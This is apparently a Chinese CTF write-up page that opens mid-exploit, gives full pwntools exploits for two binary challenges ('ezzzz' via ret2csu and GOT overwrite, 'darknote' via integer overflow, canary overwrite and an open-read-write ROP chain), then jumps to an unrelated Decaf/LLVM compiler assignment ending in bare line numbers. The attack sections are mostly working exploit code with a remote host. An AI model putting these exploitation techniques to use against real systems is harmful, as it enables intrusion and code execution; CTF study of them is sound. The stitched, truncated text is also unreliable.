lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\nb* 0x4017CC\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p, "b *0x4018B6\n")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
ru("your vm starts at ")
leak_addr = eval("0x"+ru("\n"))
stack_base = leak_addr - 8
success("leak_addr >> "+hex(leak_addr))
success("stack_base >> "+hex(stack_base))

stack_addr1 = (stack_base) % 0x100000000
stack_addr2 = (stack_base >> 32) % 0x100000000
main_addr = 0x4012B0
puts_got = 0x401240
printf_got = 0x404018
pop_rdi_ret = 0x00000000004017cb
pop_rsi_ret = 0x00000000004016f0
ret = 0x000000000040101a

sla("command:","10 10 10 10 10 10 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(puts_got))
sl("4")
sl(str(pop_rdi_ret))
sl("6")
sl(str(printf_got))
sl("8")
sl(str(main_addr))

sl("4")
sl("0")
sl("0")
sl("1")
sl("6")
sl("2")
sl("0")
sl("3")
sl("2")
sl("4")
sl("0")
sl("5")
sl("8")
sl("6")
sl("0")
sl("7")
sl(str(0xDEADBEEF))

ru("\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x134d50
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + libc.sym["system"]
binsh = libc_base + 0x1d8698
pop_rdx_r12_ret = libc_base + 0x000000000011f497

sla("command:","10 10 10 10 10 10 10 10 7 7 7 7 7 7 7 7 16")
ru("your cost:")
sl("14")
sl(str(stack_addr1))
sl("15")
sl(str(stack_addr2))
sl("2")
sl(str(pop_rdi_ret))
sl("3")
sl(str(ret))
sl("8")
sl(str(binsh%0x100000000))
sl("9")
sl(str(binsh>>32))
sl("10")
sl(str(system%0x100000000))
sl("11")
sl(str(system>>32))

sl("2") # pop binsh
sl("0")
sl("0")
sl("1")
sl("8")
sl("2")
sl("9")
sl("3")
sl("3") # ret
sl("4")
sl("0")
sl("5")
sl("10") # system
sl("6")
sl("11")
sl("7")

sl(str(0xDEADBEEF))

p.interactive()

linkmap

1
2
3
4
5
6
ezzzz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a331b6bb1b0e27817885f5fb27f2bf0ff9cdc0ea, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,NX

漏洞分析

栈溢出漏洞:

1
read(0, buf, 0x100uLL);

程序还有一个后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall backdoor(int index, int index2, int data)
{
int keyt; // [rsp+14h] [rbp-Ch] BYREF

if ( key != 0xDEADBEEFLL || key )
{
if ( key == 0xBEEFDEADLL )
(&bufg)[index][index2] = data;
}
else
{
_isoc99_scanf("%d", &keyt);
key2 = (char *)keyt;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall backdoor2(unsigned int index, int key, int index2)
{
char *data; // [rsp+14h] [rbp-8h]

data = *(char **)&key2[index]; // 漏洞点
key2 = data;
indexg = index;
if ( key == 1 )
{
(&bufg)[index2] = data;
}
else if ( !key )
{
(&bufg2)[index2] = data;
}
}

入侵思路

程序没有 write,只能依靠栈上的两个 libc 地址进行入侵,但这两处的空间太小放不下 gadget:

1
2
3
00:0000│ rsp 0x7ffe79ca8838 —▸ 0x7f97290d8083 (__libc_start_main+243) ◂— mov    edi, eax
01:00080x7ffe79ca8840 —▸ 0x7f97292f1620 (_rtld_global_ro) ◂— 0x50f6300000000
02:00100x7ffe79ca8848 —▸ 0x7ffe79ca8928 —▸ 0x7ffe79caa0ff ◂— 0x7a7a7a7a652f2e /* './ezzzz' */

比赛时没有注意 backdoor2 有个解引用,利用这个解引用可以将 GOT 表中的 libc 地址写到 bss 中,然后低位覆盖就可以获取 write 进行泄露

需要注意的是:程序没有 pop_rdx 的 gadget,需要使用 CSU 来写入 RDX 寄存器

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ezzzz'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')
context.binary = elf

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *0x400773")
pause()

def cmd(op):
sla(">",str(op))

pop_rbp_ret = 0x0000000000400570
pop_rdi_ret = 0x00000000004007e3
pop_rsi_ret = 0x00000000004007e1
ret = 0x400773

main_addr = 0x400740
bss_addr = 0x601050
key_addr = 0x601030
leave_ret = 0x400772

read_plt = 0x4004E0
read_got = 0x600FD8

backdoor2 = 0x400606
backdoor = 0x40067C
csu_front_addr = 0x4007C0
csu_end_addr = 0x4007DA

def csu(rbx, rbp, r12, r15, r14, r13, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call(只能是got表地址)
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = ""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload

payload = "a"*0x18
payload += csu(0, 1, read_got, 0, key_addr, 0x100, main_addr)
p.send(payload)
sleep(0.1)
payload = p64(0xDEADBEEF) +p64(0)+ p64(read_got) + p64(0) + p64(backdoor) + p64(backdoor2)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, bss_addr+0x8, 0, 1, 7, main_addr)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, read_got, 0, bss_addr+0x10, 0x20, main_addr)
p.send(payload)
sleep(0.1)
"""
pwndbg> p write
$1 = {ssize_t (int, const void *, size_t)} 0x7ffff7ec7060 <__GI___libc_write>
pwndbg> p read
$2 = {ssize_t (int, void *, size_t)} 0x7ffff7ec6fc0 <__GI___libc_read>
"""
payload = p16(0x7060)
p.send(payload)

payload = "a"*0x18
payload += csu(0, 1, bss_addr+0x10, 1, read_got, 0x20, main_addr)
p.send(payload)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x10dfc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system = libc_base + 0x52290
bin_sh = libc_base + 0x1b45bd

#debug()

payload = "a"*0x18
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.send(payload)

p.interactive()

darknote

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
darknote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b2dc1deeac98c6b7e7acd32d37564e1e501c66e, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Full RELRO,Canary,NX
1
2
3
4
5
6
7
8
9
10
11
12
13
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0012
0004: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0012
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0012
0007: 0x15 0x04 0x00 0x000000e7 if (A == exit_group) goto 0012
0008: 0x15 0x03 0x00 0x00000009 if (A == mmap) goto 0012
0009: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0012
0010: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW

漏洞分析

整数溢出:

1
2
sizeg = writet();
chunk_list = (char **)malloc(8 * sizeg);

函数 puts 的参数可以修改:

1
2
3
4
puts("==================================");
for ( i = 0; i <= 3; ++i )
puts(off_404260[i]);
puts("==================================");
1
2
3
4
5
.data:0000000000404260 20 40 40 00 00 00 00 00       off_404260 dq offset a1AddNote          ; DATA XREF: menu+3D↑o
.data:0000000000404260 ; "1. Add Note"
.data:0000000000404268 30 40 40 00 00 00 00 00 dq offset a2ShowNote ; "2. Show Note"
.data:0000000000404270 40 40 40 00 00 00 00 00 dq offset a3DeleteNote ; "3. Delete Note"
.data:0000000000404278 50 40 40 00 00 00 00 00 dq offset a4EditNote ; "4. Edit Note"

入侵思路

使用整数溢出会导致 chunk_list 堆溢出,比赛时折腾了很多 top chunk 有关的堆风水,最后发现还是要利用大堆块申请 mmap,这样就可以在 libc 中进行溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sla("want?",str(0x600c0000))

"""
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7fc1b80 <main_arena>
pwndbg> distance 0x7ffff77d4010 0x7ffff7fc1b80
0x7ffff77d4010->0x7ffff7fc1b80 is 0x7edb70 bytes (0xfdb6e words)
"""

libc_start_main_got = 0x403FF0
magic_addr = 0x404260

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(magic_addr-0x20))
add(0,"a"*8)
add(1,"a"*0x10 + p64(libc_start_main_got))

ru('==================================\n')
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x23f90
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

覆盖 TLS 上的 canary 就可以解锁 edit,show,dele,接着利用 svcudp_reply 完成栈迁移,然后打堆上 ORW 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# -*- coding:utf-8 -*-
from re import L
from signal import pause
from pwn import *

arch = 64
challenge = './darknote1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b *0x401B7B\n")
#gdb.attach(p,"b *$rebase(0x188A)\n")
#pause()

def cmd(op):
sla(">> ",str(op))

def add(index,data):
cmd(1)
sla("Index:",str(index))
sla("Note: ",data)

def show(index):
cmd(2)
sla("Index:",str(index))

def dele(index):
cmd(3)
sla("Index:",str(index))

def edit(index,data):
cmd(4)
sla("Index:",str(index))
sla("Note: ",data)

#debug()

sla("want?",str(0x600c0000))

"""
pwndbg> p &main_arena
$2 = (struct malloc_state *) 0x7ffff7fc1b80 <main_arena>
pwndbg> distance 0x7ffff77d4010 0x7ffff7fc1b80
0x7ffff77d4010->0x7ffff7fc1b80 is 0x7edb70 bytes (0xfdb6e words)
"""

libc_start_main_got = 0x403FF0
magic_addr = 0x404260

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(magic_addr-0x20))
add(0,"a"*8)
add(1,"a"*0x10 + p64(libc_start_main_got))

ru('==================================\n')
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x23f90
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + 0x1eee48
canary_libc = libc_base - -0x1f35e8
success("free_hook >> "+hex(free_hook))
success("canary_libc >> "+hex(canary_libc))

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(canary_libc-0x20))
add(2,"a"*8)
add(3,p64(0)*2 + "\x00"*7)

dele(0)
dele(2)
show(2)
ru(" Note: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
heap_base = leak_addr - 0x2b0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_pop_r12_ret = libc_base + 0x0000000000119211
syscall_ret = libc_base + 0x0000000000120069

svcudp_reply = libc_base + 26 + 0x154dd0
leave_ret = libc_base + 0x00000000000578c8
add_rsp_0x58_ret = libc_base + 0x00000000000d0ea3
success("svcudp_reply >> "+hex(svcudp_reply))

add(0xfdb6e + 0x7, p64(0) + p64(0x71) + p64(free_hook-0x20))
add(4,"a"*8)
add(5,"a"*8)
add(6,p64(0)*2+p64(svcudp_reply))

ORW_start_addr = heap_base + 0x380

payload = "./flag\x00"
payload = payload.ljust(0x10,"\x00")
payload += p64(add_rsp_0x58_ret)
payload = payload.ljust(0x20,"\x00")
payload += p64(ORW_start_addr)
payload = payload.ljust(0x28,"\x00")
payload += p64(leave_ret)
payload = payload.ljust(0x48,"\x00")
payload += p64(ORW_start_addr+8)
success("payload len >> "+hex(len(payload)))

add(7,payload)
payload = ""
# read(0,heap_addr,0x200)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(heap_base + 0x440)
payload += p64(pop_rdx_pop_r12_ret) + p64(0x200) + p64(0)
payload += p64(syscall_ret)
success("payload len >> "+hex(len(payload)))
add(8,payload)

#pause()
dele(7)

payload = ""
# open(heap_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(ORW_start_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_pop_r12_ret) + p64(0) + p64(0)
payload += p64(syscall_ret)
# read(3,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(ORW_start_addr)
payload += p64(pop_rdx_pop_r12_ret) + p64(0x60) + p64(0)
payload += p64(syscall_ret)
# write(1,heap_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(syscall_ret)

sleep(0.1)
sl(payload)

p.interactive()

decafcomp

本作业的目标是为 Decaf 编程语言编写一个完整的工作编译器

Decaf 的结构和代码生成提示在 Decaf 规范中给出:Decaf Programming Language Specification

实验描述

本实验有如下的目标:

  • 添加对全局变量(也称为字段变量)的支持,Decaf 仅支持将整数和布尔数组定义为全局变量
  • 确保所有变量(包括数组)的初始化均为零
  • 添加对控制流(if 语句)和循环(while 和 for 语句)的支持,您需要了解程序控制流图中基本块的静态单一分配 SSA 形式,以及如何使用 LLVM API 实现 SSA 形式
  • 实现布尔表达式的短路计算,短路是使用控制流实现的,与 if 语句非常相似
  • 实现 Decaf 规范的无咖啡因语义部分中列出的所有语义检查,如果输入的 Decaf 程序未通过任何列出的语义检查,则引发语义错误
  • 程序应拒绝任何语法或语义上无效的 Decaf 程序,并提供有用的错误消息,错误报告的质量取决于您,但您至少应该报告引发语法错误的行号和字符号
  • 实现以下优化阶段:(可选)
    • 将堆栈分配使用情况 (Alloca) 转换为寄存器使用情况 (mem2reg)
    • 简单的窥视孔优化(指令组合通过)
    • 重新关联表达式
    • 消除公共子表达式 (GVN)
    • 简化控制流图(CFG 简化)
  • 使用 DWARF 注释将源代码级调试信息添加到 LLVM 程序集

输出应位于 LLVM 程序集中,可以使用 LLVM 工具编译为 x86 程序集并作为二进制文件运行,我们将在 answer 目录中使用二进制 llvm-run 从测试用例目录中的 Decaf 程序创建和运行二进制文件

LLVM 程序集和工具链输出将转储到 llvm 目录中,应检查输出以调试编译器

如果程序成功解析输入,则应使用 exit(EXIT_SUCCESS) 退出程序,如果您的程序在输入的无咖啡因程序中发现错误,则应使用 exit(EXIT_FAILURE) 退出

实验步骤

首先需要把上一个实验的 decafexpr.y decafexpr.lex default.cc 放入本实验的 answer 目录,然后修改文件名称:

1
2
3
mv decafexpr.lex decafcomp.lex
mv decafexpr.y decafcomp.y
mv decafexpr.cc decafcomp.cc
  • 修改 decafcomp.lex decafcomp.y decafcomp.cc 中的头文件引用
  • default.y 中有关 LLVM 的代码拷贝到 decafcomp.y
  • default.cc 中有关 LLVM 的代码拷贝到 decafcomp.cc

直接运行程序就有不错的分数:

1
2
3
4
➜  decafcomp git:(master) ✗ python3 check.py 
Correct(dev): 129 / 208
Score(dev): 129.00
Total Score: 129.00

接下来的工作就是在上一个实验的基础上进行完善和补充,这里重点介绍一下 bool 短路表达式的实现:

  • 要实现布尔表达式的短路,您需要以类似于控制流语句的方式控制基本块
  • LLVM 程序集的基础表示形式是静态的单一作业表或 SSA 表格,在 SSA 表单中,每个变量在程序中只分配一次值价值 的变量可以多次使用
  • 在复杂的控制流中,图表变量可能从程序中的两个不同路径获取值,为了处理这种复杂性,SSA 表格使用了 φ 功能创建一个新变量,该变量取决于所经过的路径控制流图

处理 bool 短路表达式的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
llvm::Value *decafBinexp::Codegen() {
if(this->des.kind == valueK){
decafAllexp * exp = (decafAllexp *)this;
return exp->Codegen();
}
else if(this->des.kind == expuK){
llvm::Value *L = Exp1->Codegen();
if (L == 0) {
return 0;
}
switch (this->get_op(Option)) {
case nottmp:
this->des.value = Builder.CreateNot(L, "nottmp");
break;
case negtmp:
this->des.value = Builder.CreateNeg(L , "negtmp");
break;
}
return this->des.value;
}
else if(this->des.kind == expbK){
llvm::Value *L;
llvm::Value *R;
list<llvm::BasicBlock *> BL;
if(this->get_op(Option) == ortmp){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();

L = Exp1->Codegen();
llvm::BasicBlock* OpValBB = llvm::BasicBlock::Create(Context, "noskct",currentFunction);
llvm::BasicBlock* CurBB = llvm::BasicBlock::Create(Context, "skctend",currentFunction);
Builder.CreateCondBr(L,CurBB,OpValBB);

Builder.SetInsertPoint(OpValBB);
R = Exp2->Codegen();
this->des.value = Builder.CreateOr(L, R, "ortmp");
Builder.CreateBr(CurBB);

Builder.SetInsertPoint(CurBB);
llvm::PHINode *val = Builder.CreatePHI(L->getType(), 2, "phival");

for (llvm::BasicBlock* Pred : llvm::predecessors(CurBB)) {
BL.push_front(Pred);
}
val->addIncoming(L, BL.front());
BL.pop_front();
val->addIncoming(this->des.value, BL.front());
BL.pop_front();
this->des.value = val;

return val;
}
else if(this->get_op(Option) == andtmp){
llvm::BasicBlock* currentBlock = Builder.GetInsertBlock();
llvm::Function* currentFunction = currentBlock->getParent();

L = Exp1->Codegen();
llvm::BasicBlock* OpValBB = llvm::BasicBlock::Create(Context, "noskct",currentFunction);
llvm::BasicBlock* CurBB = llvm::BasicBlock::Create(Context, "skctend",currentFunction);
Builder.CreateCondBr(L,OpValBB,CurBB);

Builder.SetInsertPoint(OpValBB);
R = Exp2->Codegen();
this->des.value = Builder.CreateAnd(L, R, "andtmp");
Builder.CreateBr(CurBB);

Builder.SetInsertPoint(CurBB);
llvm::PHINode *val = Builder.CreatePHI(L->getType(), 2, "phival");

for (llvm::BasicBlock* Pred : llvm::predecessors(CurBB)) {
BL.push_front(Pred);
}
val->addIncoming(L, BL.front());
BL.pop_front();
val->addIncoming(this->des.value, BL.front());
BL.pop_front();
this->des.value = val;

return val;
}
else{
L = Exp1->Codegen();
R = Exp2->Codegen();
}

if (L == 0 || R == 0) {
return 0;
}

switch (this->get_op(Option)) {
case addtmp:
this->des.value = Builder.CreateAdd(L, R, "addtmp");
break;
case subtmp:
this->des.value = Builder.CreateSub(L, R, "subtmp");
break;
case multmp:
this->des.value = Builder.CreateMul(L, R, "multmp");
break;
case modtmp:
this->des.value = Builder.CreateSRem(L, R, "modtmp");
break;
case divtmp:
this->des.value = Builder.CreateSDiv(L, R, "divtmp");
break;
case eqtmp:
this->des.value = Builder.CreateICmpEQ(L, R, "eqtmp");
break;
case neqtmp:
this->des.value = Builder.CreateICmpNE(L, R, "neqtmp");
break;
case slttmp:
this->des.value = Builder.CreateICmpSLT(L, R, "lttmp");
break;
case gttmp:
this->des.value = Builder.CreateICmpSGT(L, R, "gttmp");
break;
case sletmp:
this->des.value = Builder.CreateICmpSLE(L, R, "sletmp");
break;
case geqtmp:
this->des.value = Builder.CreateICmpSGE(L, R, "geqtmp");
break;
case shltmp:
this->des.value = Builder.CreateShl(L, R, "shltmp");
break;
case shrtmp:
this->des.value = Builder.CreateLShr(L, R, "shrtmp");
break;
default:
this->des.value = NULL;
break;
}
return this->des.value;
}
else if(this->des.kind == funcK){
decafFunCall * call = (decafFunCall *)this;
this->des.value = call->Codegen();
return this->des.value;
}
}

接下来的工作和上一个实验无异,完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
